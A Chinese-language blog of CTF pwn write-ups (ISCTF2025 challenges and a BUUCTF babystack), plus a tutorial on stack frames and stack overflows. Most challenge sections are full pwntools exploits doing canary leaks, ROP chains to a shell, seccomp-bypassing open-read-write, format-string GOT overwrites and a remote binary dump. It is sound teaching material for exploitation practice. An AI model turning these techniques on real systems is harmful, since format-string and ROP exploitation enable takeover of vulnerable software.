backdoor = 0x202
payload = b'%23$lx%25$lx'

io.recvuntil(b'input: ')
io.sendline(payload)

canary = p64(int(io.recv(16), 16))
addr = p64(int(io.recv(12), 16) // 0x1000 * 0x1000 + 0x202)
log.info(f'canary = {hex(u64(canary))}')
log.info(f'addr = {hex(u64(addr))}')

payload = b'a' * 0x88 + canary + b'a' * 8 + addr

io.recvuntil(b'input: ')
io.send(payload)

io.interactive()

ret2rop

checksec

没啥保护喵，，，

IDA

main

这里 scanf 时不要输入 yes ，绕过没啥作用的 demo() ，

vuln

注意到 name 在 .bss 段上，这一点值得利用，且第二次 read 存在栈溢出漏洞，然而后面还有一个奇怪的异或处理，会影响写在栈上的数据，我们需要避开这个影响去构造 payload ，

backdoor

攻击思路

首先画出 vuln 的栈布局：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


+-------------------+
| ??? | 8 bytes
+-------------------+
| ret_addr | 8 bytes
+-------------------+
| rbp | 8 bytes
+-------------------+
| i | 8 bytes
+-------------------+
| n | 8 bytes
+-------------------+
| |
| mask | 32 bytes
| |
+-------------------+
| |
| buf | 32 bytes
| |
+-------------------+

注意到 n 对应 buf[0x40] ，在异或处理时会被 mask[0x40] 异或掉，而 mask[0x40] 对应 buf[0x60] ，即 ??? 处的数据，我们希望在异或操作影响到 ret_addr 前结束掉，只要修改 n 为 0 即可，那么 ??? 处的数据应该与 n 互补。方便起见，我们不妨直接读入 0x100 字节令 n = 0x100 ，则令 ??? 处为 0xfffffffffffffeff 即可终止循环。

此外，由于 name 在 .bss 段上，我们可以写入 /bin/sh\x00 ，再利用已有 gadget 构造 rop 链到 call _system 处便可以轻松完成攻击。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

io = process('./ret2rop')

io.recvuntil(b'demo\n')
payload = b'\x00'
io.sendline(payload)

io.recvuntil(b'name\n')
payload = b'/bin/sh\x00'
io.sendline(payload)

bss_addr = p64(0x4040F0)
pop_rsi_ret = p64(0x401A1C)
mov_rdi_rsi_ret = p64(0x401A25)
backdoor = p64(0x401A39)
ret = p64(0x401C15)

io.recvuntil(b'yourself\n')
payload = b'\xFF' * (0x50 + 8) + pop_rsi_ret + p64(0xfffffffffffffeff) + pop_rsi_ret + bss_addr + mov_rdi_rsi_ret + ret + backdoor
payload = payload.ljust(0x100, b'\x00')
io.sendline(payload)

io.interactive()

ez2048

checksec

开了 canary ，喵呜？

IDA

main

buf 在 .bss 段上，这一点可以被利用，，，

playgame

按 q 时 score -= 10 ，我们敏锐地预知到有整数溢出漏洞可以利用，，，

final

果然有整数溢出漏洞啊，初始 score = 50，所以前面 playgame 直接故意 quit 六次就行了。

shell

有多次 read 的机会且存在栈溢出漏洞，，， canary 从 buf[17] 开始，根据 canary 最低 1 字节处为 \x00 的特征，我们可以构造 buf 去使 printf 能够泄露 canary 而不在中途被 \x00 截断。

1
2
3
4
5


payload = b'A' * (17 * 8 - 1) + b'B' * 2
io.send(payload)

io.recvuntil('AAAAB')
canary = p64(u64(io.recv(8)) // 0x100 * 0x100)

backdoor

太坏了，还要自己想办法读入 /bin/sh\x00 ，但是在 main 中读入到 buf 上就行啦。

攻击思路

其实上面已经讲的差不多了？

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

io = process('./ez2048')

io.recvuntil('name\n')
name = b'/bin/sh\x00'
io.sendline(name)

io.recvuntil('game')
io.send(b'\n')

for i in range(6):
	io.recvuntil('points)\n')
	io.sendline(b'q')

	io.recvuntil('round\n')
	io.sendline(b'a')

io.recvuntil('points)\n')
io.sendline(b'q')
io.recvuntil('round\n')
io.sendline(b'q')

io.recvuntil('$ ')
payload = b'A' * (17 * 8 - 1) + b'B' * 2
io.send(payload)

io.recvuntil('AAAAB')
canary = p64(u64(io.recv(8)) // 0x100 * 0x100)
log.info(f'{hex(u64(canary))}')

pop_rdi_ret = p64(0x40133e)
sh = p64(0x404A46)
shell = p64(0x401355)

io.recvuntil(b'$ ')
payload = b'exit\x00' + b'A' * (17 * 8 - 5) + canary + b'A' * 8 + pop_rdi_ret + sh + shell
io.sendline(payload)

io.interactive()

ez_stack

checksec

吓哭了

ropper

？？？我 gadget 呢？？？

IDA

打开 IDA 一看，函数名没有， C 伪代码没法读，有点绝望地去看了汇编，花了很多时间理清这个程序到底在干什么，，，然后给各个函数命名

main

syscall

原来系统调用号在 r9 里啊。。。。

readrdxbytes

读取 rdx 字节的数据，遇到换行提前停止

mmap

调用了 mmap syscall ，在 0x114514000 开了一页 rwx 区域，但只从 main 中得知只允许写入 16 字节，考虑拿来写缺少的 gadget 和字符串，

nosyscall

rwx 区域 syscall の gadget 写入禁止，

有问题就无情地 exit ，

doyoulikegift

泄露了 main 的地址，可用于绕过 PIE 保护泄露了栈的地址，可用于在连续的 leave 指令下稳定 rbp 和 rsp

retaddrerror

栈溢出但防止返回地址被篡改，不过没关系，PIE 保护已经可以绕过了感觉到这里已经可以完成攻击了？只要把 /bin/sh\x00 写到 0x114514000 区域就可以 ret2syscall 了吧？并非。

init_array

这是什么鸭？初始化的时候调用了什么函数？

prctl

哇是沙箱，我们没救了，，，拿到权限是不大可能了，因此考虑 orw ，把 /flag\x00\x00\x00 写到 0x114514000 区域，，，

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

io = process('./baby_stack')

gadget = b'\x5F\xC3\x5E\xC3\x5A\xC3\x58\xC3'
flag_str = b'/flag\x00\x00\x00'
log.info(f'gadget = \n{disasm(gadget)}')

io.recvuntil(b'ISCTF2025!\n')
io.send(gadget + flag_str)

io.recvuntil(b'GIFT?\n')
main_addr = u64(io.recv(6).ljust(8, b'\x00'))
ret_addr = p64(main_addr // 0x100 * 0x100 + 0x9B)
syscall_addr = p64(main_addr // 0x1000 * 0x1000 + 0x175)
io.recvuntil(b'\n')
stack_addr = u64(io.recv(6).ljust(8, b'\x00'))
rbp_addr = p64(stack_addr - 0xa8 + 0xe0)
heap_top = p64(0x114514100)

log.info(f'main_addr = {hex(main_addr)}')
log.info(f'ret_addr = {hex(u64(ret_addr))}')
log.info(f'stack_addr = {hex(stack_addr)}')
log.info(f'rbp_addr = {hex(u64(rbp_addr))}')

pop_rdi_ret = p64(0x114514000)
pop_rsi_ret = p64(0x114514002)
pop_rdx_ret = p64(0x114514004)
pop_rax_ret = p64(0x114514006)
ret = p64(0x114514007)
flag_addr = p64(0x114514008)

payload = b'A' * 0x110 + rbp_addr + ret_addr + b'A' * 8

payload += pop_rdi_ret + flag_addr
payload += pop_rsi_ret + p64(0)
payload += pop_rax_ret + p64(2)
payload += syscall_addr + rbp_addr

payload += pop_rdi_ret + p64(3)
payload += pop_rsi_ret + heap_top
payload += pop_rdx_ret + p64(0x110)
payload += pop_rax_ret + p64(0)
payload += syscall_addr + rbp_addr

payload += pop_rdi_ret + p64(1)
payload += pop_rsi_ret + heap_top
payload += pop_rdx_ret + p64(0x110)
payload += pop_rax_ret + p64(1)
payload += syscall_addr

io.sendline(payload)

io.interactive()

bad_box

复读机

？？？

不是哥们，我写盲打，真的假的？

输入测试

test1

没有格式化字符串漏洞

test2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

io = remote('challenge.bluesharkinfo.com', 114514)

io.recvuntil(b'fun\n')
payload = b'A' * 0x1000 + b'\x00'
io.send(payload)
io.recvall()

io.interactive()

没有溢出？

test3

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

io = remote('challenge.bluesharkinfo.com', 114514)

io.recvuntil(b'fun\n')
payload = b'%p' * 0x1000 + b'\x00'
io.send(payload)
io.recvall()

io.interactive()

欸？有格式化字符串漏洞？？？

事实上，经验证，小于 32 字节的读入不使用格式化字符串输出（遇 \x00 不截断，很可能是 write ），大于 32 字节的读入才使用格式化字符串输出（遇 \x00 截断，很可能是 printf ）。

stackleak

既然如此，我们考虑先看看栈上面有什么

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

io = remote('challenge.bluesharkinfo.com', 114514)

io.recvuntil(b'fun\n')
payload = b'%p\n' * 0x3A + b'\x00'
io.send(payload)
stack_addr = int(io.recvuntil('\n')[:-1], 16)
back = io.recvall()

lines = 0
strings = ''

for i in back.decode('utf-8'):
	strings += i
	if i == '\n':
		lines += 1
		log.info(f'{hex(stack_addr + lines * 8)} : {strings}')
		strings = ''

io.interactive()

根据栈上泄露出的信息，可知 PIE 保护没有开启， canary 保护开启然后呢？栈上好像没有什么可利用的点了？

dump

既然如此，不如直接利用格式化字符串漏洞，遍历 0x400000~0x404000 使用 %s 把原程序 dump 下来吧

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


from pwn import *

context.arch = 'amd64'

begin = 0x400000
offset = 0
leaked = 0

while leaked < 0x4000 - offset:
	try:
		io = remote('challenge.bluesharkinfo.com', 114514)
		io.recvuntil(b'fun\n')
		payload = b'%9$s\x00\x00\x00\x00'
		payload += p64(begin + leaked + offset)
		payload += b'\x00' * 0x20
		io.send(payload)
		leak = io.recvall()
	except:
		log.info(f'len:{leaked}\n')
		continue
	leaked += len(leak) + 1
	log.info(f'len:{leaked}\n{disasm(leak + b'\x00')}')
	io.close()
	l = open('leak.bin', 'ab')
	l.write(leak + b'\x00')
	l.close()

io.interactive()

PS: 这个 dump 程序效率有点低，，，每连接一次只 leak 到一个 \x00 边界，大概要跑一个小时吧，，，

IDA

把 dump 下来的程序拖进 IDA 反编译

main

和之前分析的差不多，，， exit(0) 使劫持返回地址变得不可能，因此我们考虑劫持 got 表。

backdoor

got

明显的劫持 got 表模板，，，

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

io = remote('challenge.bluesharkinfo.com', 114514)

io.recvuntil(b'fun\n')

backdoor = 0x40125B # 4199003
exit_got = p64(0x4033A0)

payload = b'%' + str(backdoor).encode() + b'c' # 9
payload += b'%10$ln'+ b'\x00' # 16
payload += exit_got
payload += b'\x00' * 0x20

io.send(payload)
io.interactive()

heap?

checksec

全开

IDA

main

add

delete

show

有格式化字符串漏洞

read_num

栈溢出

攻击思路

假堆题，利用格式化字符串漏洞泄露 canary ， pie ， libc 后用 one_gadget 即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

libc = ELF('./libc.so.6')

io = process('./pwn')
pid = pidof(io)[0]
io = remote('challenge.bluesharkinfo.com', 29483)

io.recvuntil(b'> ')
io.sendline(b'1')
payload = b'AAB%7$p\nAAB%9$p\nAAB%13$p\n'
io.sendline(str(len(payload)).encode())
io.sendline(payload)

io.recvuntil(b'> ')
io.sendline(b'3')
io.sendline(b'0')

io.recvuntil(b'AAB')
canary = p64(int(io.recv(18).decode('utf-8'), 16))
io.recvuntil(b'AAB')
pie_base = int(io.recv(14).decode('utf-8'), 16) - 0x16e7
io.recvuntil(b'AAB')
libc_leak = int(io.recv(14).decode('utf-8'), 16)
__libc_start_main = libc.symbols['__libc_start_main']
libc_base = libc_leak + 0x30 - __libc_start_main
log.info(f'canary = {hex(u64(canary))}')
log.info(f'pie_base = {hex(pie_base)}')
log.info(f'libc_base = {hex(libc_base)}')

one_gadget = p64(libc_base + 0xebc88)
bss_addr = p64(pie_base + 0x4300)

io.recvuntil(b'> ')
io.sendline(b'2')
payload = b'A' * (0x10 + 6) + canary + bss_addr + one_gadget
io.send(str(len(payload)).encode())
io.send(payload)

io.interactive()

ezcanary

checksec

IDA

溢出长度够长

one_gadget

攻击思路

溢出到 TLS 覆盖 canary 即可，然后 ret2libc + one_gadget

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

io = remote('challenge.bluesharkinfo.com', 23249)

io.recvuntil(b'>>\n')
payload = b'A' * (0x158 - 1) + b'B' * 1
io.send(payload)

io.recvuntil(b'AAAAB')
pthread_create = libc.symbols['pthread_create']
libc_pthread_create_sub_17d = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = libc_pthread_create_sub_17d - pthread_create + 0x17d
log.info(f'libc_base = {hex(libc_base)}')

one_gadget = p64(libc_base + 0xebc85)

io.recvuntil(b'>>\n')
payload = b'A' * 0x110 + p64(0x404300) + one_gadget + b'A' * (0x908 - 0x118) + p64(0x404600)
payload += b'A' * (0x1000 - len(payload))
io.send(payload)

io.interactive()

BUUCTF-bjdctf_2020_babystack 题解

Wed, 29 Oct 2025 12:17:00 +0000

题目

题目链接

checksec

IDA

很显然，由于 nbytes 可以被赋予一个较大的值，使得 buf 可以被溢出。

backdoor

思路

利用的栈溢出漏洞覆盖函数返回地址，使之返回到这个后门函数提权即可。

附一个图示：

根据 buf 的位置 [rbp-10h] 可构造 payload = b'A' * (16 + 8) + backdoor_addr 实现攻击，由于需要栈对齐，其中，backdoor_addr = 0x4006ea ，而不是 backdoor_addr = 0x4006e6

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

p = process('./bjdctf_2020_babystack')

p.recvuntil(b'name:\n')

payload = b'40'
p.sendline(payload)

p.recvuntil(b'name?\n')

backdoor_addr = p64(0x4006ea)
payload = b'A' * (16 + 8) + backdoor_addr

p.sendline(payload)

p.interactive()

栈帧结构和栈溢出漏洞

Mon, 27 Oct 2025 16:07:00 +0000

栈帧

什么是栈帧

函数栈帧 (stack frame) 就是函数调用过程中程序的调用栈 (call stack) 所开辟的空间，这些空间是用来存放：

函数参数和函数返回值
临时变量（包括函数的非静态的局部变量以及编译器自动生产的其他临时变量）
保存上下文信息（包括在函数调用前后需要保持不变的寄存器）

栈帧结构

栈从高地址向低地址生长，而在 x86 架构下数据则以小端序写入：高位字节放高地址端，低位字节放低地址端，可以理解为从低地址向高地址生长。

所以，栈顶在低地址处，栈基在高地址处。

主调函数进行函数调用时，一般会在紧贴主调函数栈帧下方建立一个新的栈帧。

重要指针寄存器

栈指针： sp ，指向栈顶， push 指令会使 sp 下移， pop 指令会使 sp 上移。

帧指针： bp ，指向当前函数栈帧的基，指向的位置用于保存当前函数的主调函数的帧指针。

指令指针： ip ，是计算机处理器中用于存储下一条待执行指令内存地址的寄存器。

注意，栈指针与帧指针正常情况下均应指向某个单位内存的最低地址处。

32 位栈帧结构

64 位栈帧结构

64 位下，函数的前 6 个参数会存放在寄存器中，从第一个参数开始依次存入寄存器 rdi ， rsi ， rdx ， rcx ， r8 ， r9 中。

接下来的讨论默认为 64 位的情形。

栈相关汇编机制

pop 与 push

push x ：将 x 压入栈中（本质上是覆盖栈中数据），先使 rsp 下移 8 字节，再将内存单元 x （寄存器或内存地址）的值复制入此时 rsp 所指位置，等价于 sub rsp, 0x8; mov [rsp], x
pop x ：弹出栈顶（实际上不会删除原栈顶数据）将栈顶的值，即 rsp 所指位置的值复制入 x （寄存器或内存地址）中，并使 rsp 上移 8 字节，等价于 mov x, [rsp]; add rsp, 0x8

call 与 leave 与 ret

call x ：本质上是 jump 指令，但会将本语句的下一条语句的地址 push 到栈中，等价于 push (rip + 指令长度); jump x
leave ：清除该函数栈帧（实际上不会处理栈中残余数据），等价于 mov rsp, rbp; pop rbp 执行后
ret ：函数返回，等价于 pop rip

函数序言

函数序言 (Function Prologue) 是函数开始时的一段标准汇编代码，用于建立函数的执行环境，通常包含对栈的操作，例：

1
2
3
4
5


; 函数序言
push rbp ; 保存调用者的栈基指针
mov rbp, rsp ; 设置当前函数的栈基指针
sub rsp, 0x20 ; 为局部变量分配栈空间（32字节）
push rbx ; 保存被调用者保存的寄存器

寄存器使用约定

程序寄存器组是唯一能被所有函数共享的资源。虽然某一时刻只有一个函数在执行，但需保证当某个函数调用其他函数时，被调函数不会修改或覆盖主调函数稍后会使用到的寄存器值。因此， IA32 采用一套统一的寄存器使用约定，所有函数（包括库函数）调用都必须遵守该约定。

根据惯例，寄存器 rax 、 rdx 和 rcx 为主调函数保存寄存器 (caller-saved registers) ，当函数调用时，若主调函数希望保持这些寄存器的值，则必须在调用前显式地将其保存在栈中；被调函数可以覆盖这些寄存器，而不会破坏主调函数所需的数据。寄存器 rbx 、 rsi 和 rdi 为被调函数保存寄存器 (callee-saved registers) ，即被调函数在覆盖这些寄存器的值时，必须先将寄存器原值压入栈中保存起来，并在函数返回前从栈中恢复其原值，因为主调函数可能也在使用这些寄存器。此外，被调函数必须保持寄存器 rbp 和 rsp ，并在函数返回后将其恢复到调用前的值，亦即必须恢复主调函数的栈帧。

当然，这些工作都由编译器在幕后进行。不过在编写汇编程序时应注意遵守上述惯例。

栈溢出漏洞

栈溢出介绍

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数，因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞，类似的还有堆溢出，bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃，重则可以使攻击者控制程序执行流程。此外，我们也不难发现，发生栈溢出的基本前提是：

程序必须向栈上写入数据。
写入的数据大小没有被良好地控制。

栈溢出利用思路

寻找危险函数

通过寻找危险函数，我们快速确定程序是否可能有栈溢出，以及有的话，栈溢出的位置在哪里。常见的危险函数如下：

输入

gets : 直接读取一行，忽略’\x00' scanf : 用于从标准输入（如键盘）读取数据并存储到指定变量

输出

sprintf : 输出格式化字符串到缓冲区

字符串

strcpy : 字符串复制，遇到’\x00’停止 strcat : 字符串拼接，遇到’\x00’停止 bcopy : 内存拷贝

确定填充长度

这一部分主要是计算我们所要操作的地址与我们所要覆盖的地址的距离。常见的操作方法就是打开 IDA ，根据其给定的地址计算偏移。一般变量会有以下几种索引模式：

相对于栈基地址的的索引，可以直接通过查看与 rbp 的相对偏移获得
相对应栈顶指针的索引，一般需要进行调试，之后还是会转换到第一种类型。
直接地址索引，就相当于直接给定了地址。

一般来说，我们会有如下的覆盖需求：

覆盖函数返回地址，这时候就是直接看 rbp 即可。
覆盖栈上某个变量的内容，这时候就需要更加精细的计算了。
覆盖 bss 段某个变量的内容。
根据现实执行情况，覆盖特定的变量或地址的内容。

之所以我们想要覆盖某个地址，是因为我们想通过覆盖地址的方法来直接或者间接地控制程序执行流。

Stack on RatherHard の Blog

Polaris-2026-pwn 题解

ez-nc

攻击思路

exp

ezheap

checksec

IDA

攻击思路

exp

mini-mqtt

IDA

main

msgarrvd

http

攻击思路

exp

httpd

checksec

IDA

main

type_route

struct

parse_rq

handle_get

handle_post

set_config

parse_post_fields

url_decode_component

攻击思路

exp

DiceCTF-2026-Quals 个人题解

bytecrusher

checksec

code

IDA

free_trial

get_feedback

exp

message-store

checksec

IDA

main

set_message

set_message_color

print_message

from_utf8_lossy

BUFFER

攻击思路

exp

NSSCTF-西湖论剑-2022-babycalc 题解

题目

IDA

main

calc

got

stack

攻击思路

exp

NSSCTF-GHCTF-2025-ret2libc2 题解

题目

checksec

vmmap

IDA

main

func

got

onegadget

攻击思路

exp

NSSCTF-GHCTF-2025-真会布置栈吗？ 题解

题目

checksec

vmmap

IDA

start

gadget

攻击思路

exp

LACTF2026-pwn 个人题解

NSSCTF-GHCTF-2025-真会布置栈吗？题解